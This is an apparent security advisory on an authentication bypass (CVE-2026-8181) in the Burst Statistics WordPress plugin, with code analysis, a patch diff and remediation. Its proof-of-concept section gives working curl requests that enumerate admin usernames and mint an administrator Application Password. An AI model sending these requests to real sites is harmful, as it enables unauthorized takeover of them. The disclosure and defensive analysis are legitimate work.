CVE-2026-8181: Auth Bypass to Admin Takeover in Burst Statistics Plugin (CVSS 9.8)
Table of Contents
CVE-2026-8181 is a CVSS 9.8 (Critical) Authentication Bypass vulnerability in the Burst Statistics WordPress plugin. An unauthenticated attacker who knows any administrator username can send a single HTTP request to obtain a WordPress Application Password for that account, achieving full admin takeover.
Vulnerability Summary
| Field | Value |
|---|---|
| Plugin Name | Burst Statistics – Privacy-Friendly WordPress Analytics |
| Plugin Slug | burst-statistics |
| CVE ID | CVE-2026-8181 |
| CVSS Score | 9.8 (Critical) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Vulnerability Type | Authentication Bypass (Improper Authentication) |
| Affected Versions | <= 3.4.1.1 |
| Patched Version | 3.4.2 |
| Published | May 13, 2026 |
| Researcher | Chloe Chamberland - Wordfence PRISM |
| Wordfence Advisory | Link |
Description
The Burst Statistics plugin is vulnerable to Authentication Bypass in versions 3.4.0 to 3.4.1.1. The flaw is in the is_mainwp_authenticated() function inside class-mainwp-proxy.php. This function validates application passwords from the Authorization HTTP header.
The function calls wp_authenticate_application_password() and only checks whether the result is a WP_Error. It does not check whether the result is actually a successful WP_User object. When WordPress’s internal filter application_password_is_api_request returns false — which happens when the call is made outside the normal REST API authentication flow — the WordPress function returns null instead of a WP_Error. Because null is not a WP_Error, the check passes. The attacker’s chosen admin user is then set as the current user via wp_set_current_user().
Once the current user is switched to an administrator, subsequent capability checks pass. An attacker can then reach the /burst/v1/mainwp-auth endpoint, which creates a WordPress Application Password for the admin account and returns it in the response. This gives the attacker persistent admin-level access to the entire WordPress site.
Technical Analysis
Plugin Initialization and the Vulnerable Gate
Burst Statistics initializes during WordPress’s plugins_loaded hook at priority 9, inside class-burst.php:
// class-burst.php, line 118
if ( $this->has_admin_access() ) {
$this->admin = new Admin();
$this->admin->init();
...
}
has_admin_access() is the gatekeeper for all admin functionality. It runs before REST API authentication completes. The function checks for the X-BurstMainWP header and calls into the vulnerable function:
// trait-admin-helper.php, lines 202-211
if ( isset( $_SERVER['HTTP_X_BURSTMAINWP'] ) && $_SERVER['HTTP_X_BURSTMAINWP'] === '1' ) {
$mainwp_proxy = new \Burst\Frontend\MainWP_Proxy();
if ( $mainwp_proxy->is_mainwp_authenticated() ) {
return burst_loader()->has_admin_access = true;
}
...
}
The Vulnerable Function: is_mainwp_authenticated()
The flaw is in class-mainwp-proxy.php, lines 313–342:
public function is_mainwp_authenticated(): bool {
$auth_header = sanitize_text_field( wp_unslash(
$_SERVER['HTTP_AUTHORIZATION'] ?? $_SERVER['REDIRECT_HTTP_AUTHORIZATION'] ?? ''
));
if ( ! empty( $auth_header ) && stripos( $auth_header, 'basic ' ) === 0 ) {
$credentials = base64_decode( substr( $auth_header, 6 ), true );
...
$username = $parts[0];
$password = $parts[1];
// ← VULNERABLE: returns null when not in REST API auth context
$is_valid = wp_authenticate_application_password( null, $username, $password );
// ← FLAW: null is not a WP_Error, so this check passes!
if ( is_wp_error( $is_valid ) ) {
return false;
}
$user = get_user_by( 'login', $username );
if ( ! $user || ! user_can( $user, 'manage_burst_statistics' ) ) {
return false;
}
// ← Admin user set as current user for the rest of the request!
wp_set_current_user( $user->ID );
return true;
}
return false;
}
Why wp_authenticate_application_password() Returns null
WordPress’s wp_authenticate_application_password() function uses the application_password_is_api_request filter to decide whether the current request should be treated as an API request. When this filter returns false, the function returns its first argument unchanged — which is null in this call.
This filter returns false when called outside of the standard WordPress REST API authentication flow. Because Burst calls this function manually during plugin initialization (not as part of the determine_current_user filter chain), WordPress considers it a non-API context, and the function returns null.
The code only uses is_wp_error() to detect failure. is_wp_error(null) returns false, so the attacker bypasses the authentication check entirely.
Execution Path to Admin Takeover
- Attacker sends a request with
X-BurstMainWP: 1andAuthorization: Basic <base64(admin_username:anything)> - Burst’s
has_admin_access()fires duringplugins_loaded is_mainwp_authenticated()callswp_authenticate_application_password(null, 'admin', 'anything')- WordPress returns
null(non-API context) —is_wp_error(null)isfalse get_user_by('login', 'admin')resolves the admin userwp_set_current_user($user->ID)switches current user to adminhas_admin_access()returnstrue— admin components initialize- The
/burst/v1/mainwp-authendpoint becomes reachable - Its permission callback
check_auth_permission()falls back tocurrent_user_can('manage_burst_statistics')— which is nowtrue handle_auth_request()mints a new Application Password and returns it to the attacker
Proof of Concept
Disclaimer: This proof of concept is for educational and authorized security testing purposes only. Exploiting vulnerabilities without written permission is illegal.
Prerequisites:
- Target WordPress site running Burst Statistics 3.4.0–3.4.1.1
- A known administrator username (often
admin, or discoverable via/wp-json/wp/v2/users)
Step 1 — Discover admin username (if unknown):
curl -s "https://example.com/wp-json/wp/v2/users" | jq '.[].slug'
Step 2 — Exploit the authentication bypass to mint an Application Password:
TARGET="https://example.com"
ADMIN_USER="admin"
FAKE_PASS="anything"
curl -s -X POST "${TARGET}/wp-json/burst/v1/mainwp-auth" \
-H "Authorization: Basic $(echo -n "${ADMIN_USER}:${FAKE_PASS}" | base64)" \
-H "X-BurstMainWP: 1" \
-H "Content-Type: application/json" \
-d '{}'
Expected response (successful exploit):
{
"token": "YWRtaW46QWJDZCAxMjM0IDU2NzggOTAxMiAzNDU2IDc4OTA=",
"root_url": "https://example.com/wp-json/",
"localization_data": { ... }
}
The token field is a Base64-encoded username:application_password string.
Step 3 — Decode and verify the minted Application Password:
echo "YWRtaW46QWJDZCAxMjM0IDU2NzggOTAxMiAzNDU2IDc4OTA=" | base64 -d
# admin:AbCd 1234 5678 9012 3456 7890
Step 4 — Use the Application Password for persistent admin access:
# Example: list all users as admin
curl -s "https://example.com/wp-json/wp/v2/users" \
-H "Authorization: Basic YWRtaW46QWJDZCAxMjM0IDU2NzggOTAxMiAzNDU2IDc4OTA="
The attacker now has persistent, credential-based admin access independent of session cookies.
Patch Analysis
The fix in version 3.4.2 replaces the flawed is_wp_error() check with a type-strict instanceof WP_User check. It also forces WordPress to treat the call as an API request:
- $username = $parts[0];
- $password = $parts[1];
- $is_valid = wp_authenticate_application_password( null, $username, $password );
- if ( is_wp_error( $is_valid ) ) {
- return false;
- }
- $user = get_user_by( 'login', $username );
- if ( ! $user || ! user_can( $user, 'manage_burst_statistics' ) ) {
- return false;
- }
- wp_set_current_user( $user->ID );
+ $allow_application_password_request = static function (): bool {
+ return true;
+ };
+ add_filter( 'application_password_is_api_request', $allow_application_password_request, 999 );
+ $authenticated_user = wp_authenticate_application_password( null, $parts[0], $parts[1] );
+ remove_filter( 'application_password_is_api_request', $allow_application_password_request, 999 );
+
+ if ( ! $authenticated_user instanceof \WP_User ) {
+ return false;
+ }
+ if ( ! hash_equals( (string) $authenticated_user->user_login, $parts[0] ) ) {
+ return false;
+ }
+ if ( ! user_can( $authenticated_user, 'manage_burst_statistics' ) ) {
+ return false;
+ }
+ wp_set_current_user( $authenticated_user->ID );
The patch does three things:
- Forces API context: The
application_password_is_api_requestfilter is forced totrue, makingwp_authenticate_application_password()actually verify the password against stored Application Passwords. - Checks for success, not just absence of error:
instanceof \WP_Userreplacesis_wp_error(). Only a verified user object is accepted. - Verifies username integrity: A
hash_equals()comparison ensures the returned user’s login matches the supplied username, preventing user confusion attacks.
The patch also adds nonce-based replay prevention to the signature verification path and restructures the permission callback for the mainwp-auth endpoint to be more robust.
Timeline
| Date | Event |
|---|---|
| May 13, 2026 | Vulnerability publicly disclosed by Wordfence |
| May 14, 2026 | Wordfence advisory last updated |
| May 14, 2026 | This blog post published |
Remediation
Update to Burst Statistics version 3.4.2 or later immediately. This vulnerability has a CVSS score of 9.8 (Critical) and Wordfence reported over 5,900 attacks targeting it in a single 24-hour window.
If you cannot update immediately:
- Deactivate the plugin until you can update
- Block requests containing the
X-BurstMainWP: 1header at your WAF or web server level
References
- Wordfence Advisory — CVE-2026-8181
- CVE Record — CVE-2026-8181
- Vulnerable source — class-mainwp-proxy.php#L336 (tag 3.4.1.1)
- Patched source — class-mainwp-proxy.php#L336 (trunk)
- Vulnerable source — class-mainwp-proxy.php#L328 (tag 3.4.1.1)
- Patched source — class-mainwp-proxy.php#L328 (trunk)
- Vulnerable source — class-mainwp-proxy.php#L314 (tag 3.4.1.1)
- Patched source — class-mainwp-proxy.php#L314 (trunk)
- Vulnerable source — trait-admin-helper.php#L205 (tag 3.4.1.1)
- Patched source — trait-admin-helper.php#L205 (trunk)
- GitHub source — class-mainwp-proxy.php#L385
Frequently Asked Questions
What is CVE-2026-8181?
CVE-2026-8181 is a CVSS 9.8 Critical authentication bypass vulnerability in the Burst Statistics WordPress plugin that allows an unauthenticated attacker to take over any administrator account.
Which versions of Burst Statistics are affected by CVE-2026-8181?
Burst Statistics versions 3.4.0 through 3.4.1.1 are affected. Version 3.4.2 contains the fix and is safe to use.
What can an attacker do with CVE-2026-8181?
An attacker who knows any administrator username can send a single HTTP request to mint a WordPress Application Password for that account. This gives the attacker persistent, full admin-level access to the entire WordPress site.
Does an attacker need to be logged in to exploit CVE-2026-8181?
No. The attacker does not need any account or prior authentication. Only a known administrator username is required to exploit this vulnerability.
How do I fix CVE-2026-8181 in Burst Statistics?
Update Burst Statistics to version 3.4.2 or later. You can do this from the Plugins page in your WordPress admin dashboard or by downloading the update from wordpress.org.
Has Burst Statistics been patched for CVE-2026-8181?
Yes. Version 3.4.2 of Burst Statistics was released on May 13, 2026 and fully resolves this vulnerability.